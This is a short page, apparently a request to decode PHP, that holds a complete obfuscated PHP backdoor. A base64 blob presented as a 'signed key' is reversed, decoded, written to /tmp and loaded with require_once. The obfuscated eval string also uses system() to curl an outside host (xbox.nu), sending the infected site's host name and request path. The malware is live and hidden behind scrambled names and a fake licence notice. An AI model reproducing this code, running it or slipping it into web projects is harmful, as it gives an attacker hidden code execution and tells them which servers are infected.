PHP Decode

<?php  
// ================================================================================================================ // 
$x = "[email protected]" "PWdHZDBCM2M2OHlMMEozYnN4R2FseFdidTAyYnlsV1l1OG1jbjlDTTRSV1poUm1ZbFZtWnlNekxqOTJkd0ZHZDBsbkM="; /* SIGNED-KEY | DO NOT EDIT THIS!!*/ 
// ================================================================================================================ // 
  
error_reporting(0); 
if(!function_exists("agF1gTdKEBPd6CaJ")) { function agF1gTdKEBPd6CaJ($ekV4gb3DGH29YotI) { $fYZ2g87NjIGLnXVg=""; $rZJ3glaFcSAz0dZY=0; $qVh0gqGnK20A4iOB=strlen($ekV4gb3DGH29YotI); while($rZJ3glaFcSAz0dZY < $qVh0gqGnK20A4iOB) { if($ekV4gb3DGH29YotI[$rZJ3glaFcSAz0dZY] == ' ') { $fYZ2g87NjIGLnXVg.=" "; } else if($ekV4gb3DGH29YotI[$rZJ3glaFcSAz0dZY] == '!') { $fYZ2g87NjIGLnXVg.=chr((ord($ekV4gb3DGH29YotI[$rZJ3glaFcSAz0dZY+1])-ord('A'))*16+(ord($ekV4gb3DGH29YotI[$rZJ3glaFcSAz0dZY+2])-ord('a'))); $rZJ3glaFcSAz0dZY+=2; } else { $fYZ2g87NjIGLnXVg.=chr(ord($ekV4gb3DGH29YotI[$rZJ3glaFcSAz0dZY])+1); } $rZJ3glaFcSAz0dZY++; } return $fYZ2g87NjIGLnXVg; } }eval(agF1gTdKEBPd6CaJ('du`k!Ci`fE0fScJDAOc5B`I!Ci&!CbBdv0dc/5 ; qrppct!CbBh`_qc42]bcambc!CbBhqrppct!CbBh`_qc42]bcambc!CbBh!CbBdv!Ci!Ci!Ci!Ci9 !CbBdv.7cd ; %-rkn%9 gd !CbBhdgjc]cvgqrq!CbBh!CbBdv.7cd!Ci!Ci y dgjc]nsr]amlrclrq!CbBh!CbBb-Zv52Z/33Z/4.-Zv56Wx+Zv2aZ//5Zv25Zv31,`Z/5/,P1Z/.2+Zv45Z/.3l;++!CbBb* dgjc]ecr]amlrclrq!CbBh!CbBb!CbBb, !CbBdv0dc/5 ,!CbBb!CbBb!Ci!Ci9 pcosgpc]mlac!CbBh%-rkn-vWx+JMEQ,`w,P1B+eCl;++%!Ci9 { cjqc y dgjc]nsr]amlrclrq!CbBh!CbBbZv43Z/40Z/40Zv4dZ/40]jZ/35Z/25Z/41!CbBb* dgjc]ecr]amlrclrq!CbBh!CbBb!CbBb, !CbBdv0dc/5 ,!CbBb!CbBb!Ci!Ci9 pcosgpc]mlac!CbBh%cppmp]jmeq%!Ci9 { !CbBdvD0b1b ; `_qc42]clambc!CbBh!CbBbZv46Zv52rZ/4.8--!CbBb, !CbBd]QCPTCPY%FRRN]FMQR%!CbEm,!CbBd]QCPTCPY%PCOSCQR]SPG%!CbEm!Ci9 !CbBdv`DA14 ; qrppct!CbBh!CbBdvD0b1b!Ci9 qwqrck!CbBh%aspj frrn8--v`mv,ls-qcaspcb+icw-glbcv,nfn=qgelcb;%, !CbBdv`DA14 ,%%!Ci9 &((:')); 
?>